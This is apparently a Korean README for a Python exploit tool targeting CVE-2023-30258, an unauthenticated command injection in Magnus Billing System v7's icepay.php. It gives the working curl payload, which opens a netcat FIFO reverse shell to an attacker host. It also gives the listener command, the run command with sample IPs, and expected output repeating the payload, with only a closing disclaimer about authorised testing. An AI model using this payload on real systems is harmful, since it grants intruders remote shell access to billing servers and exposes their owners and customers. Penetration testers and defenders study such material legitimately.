
CVE-2023-30258을 위한 자동화된 파이썬 익스플로잇, Magnus Billing System v7의 명령어 삽입 취약점입니다. 조작된 GET 요청을 icepay.php에 보내어 임의의 명령을 실행하고 리버스 셸을 설정합니다.
이 Python 스크립트는 Magnus Billing System v7의 명령 주입 취약점, 특히 /mbilling/lib/icepay/icepay.php에 위치한 icepay.php 스크립트에서의 익스플로잇을 자동화합니다. 이 익스플로잇은 democ 파라미터를 활용하여 대상 시스템에서 임의의 명령을 실행하고, 궁극적으로 공격자가 제어하는 시스템으로 리버스 셸을 설정합니다.
이 취약점은 조작된 GET 요청을 통해 인증 없이 명령 주입을 허용합니다. 원래 개념 증명(PoC)은 다음 curl 명령을 사용했습니다:
curl -s 'http://<TARGET_IP>/mbilling/lib/icepay/icepay.php' --get --data-urlencode 'democ=;rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc <ATTACKER_IP> <PORT> >/tmp/f;'
이 스크립트는 해당 과정을 자동화하며, 명령줄 인수를 통해 설정 가능합니다.
requests 라이브러리를 사용하여 페이로드와 함께 HTTP 요청을 전송합니다.requests Python 모듈을 설치하세요:
pip install requests
netcat(nc)이 설치되어 있어야 합니다.netcat 리스너를 설정하세요.icepay.php 스크립트에 접근 가능한 Magnus Billing System v7이 실행 중이어야 합니다.exploit.py로 저장하세요.netcat 리스너를 시작하세요:
nc -lvnp <PORT>
<PORT>를 선택한 포트(예: 443)로 바꾸세요.python exploit.py -t <TARGET_IP> -a <ATTACKER_IP> -p <PORT>
매개변수:
-t, --target: 대상 Magnus Billing System의 IP 주소-a, --attacker: 리버스 셸을 수신할 사용자의 IP 주소-p, --port: 리버스 셸을 위한 사용자 시스템의 포트python exploit.py -t 10.10.160.86 -a 10.8.64.79 -p 443
예상 출력:
=== Magnus Billing System v7 Exploit ===
Command Injection via icepay.php - Reverse Shell
=======================================
[+] Targeting: http://10.10.160.86/mbilling/lib/icepay/icepay.php
[+] Attacker: 10.8.64.79:443
[+] Sending payload: ;rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc 10.8.64.79 443 >/tmp/f;
[+] Request sent successfully!
[*] Check your netcat listener (e.g., 'nc -lvnp 443') for a shell.
netcat 리스너로 전환하여 리버스 셸과 상호작용하세요.netcat과 함께 FIFO 기반 리버스 셸(mkfifo)을 사용합니다.exploit() 함수에서 print(response.text)의 주석을 해제하세요.netcat이 설치되어 있는지이 도구는 교육 및 보안 테스트 목적으로만 제공됩니다. 테스트할 명시적 권한이 있는 시스템에서만 사용하세요. 소유하지 않거나 테스트 동의를 받지 않은 시스템에 대한 무단 사용은 불법적이고 비윤리적입니다. 작성자는 이 스크립트로 인한 오용이나 손해에 대해 책임을 지지 않습니다.
이 프로젝트는 MIT 라이선스 하에 배포됩니다. 필요에 따라 면책 조항을 유지한 채로 수정 및 배포할 수 있습니다.
기여, 버그 신고 및 기능 요청을 환영합니다. 자유롭게 풀 리퀘스트를 제출하거나 이슈를 열어 주세요.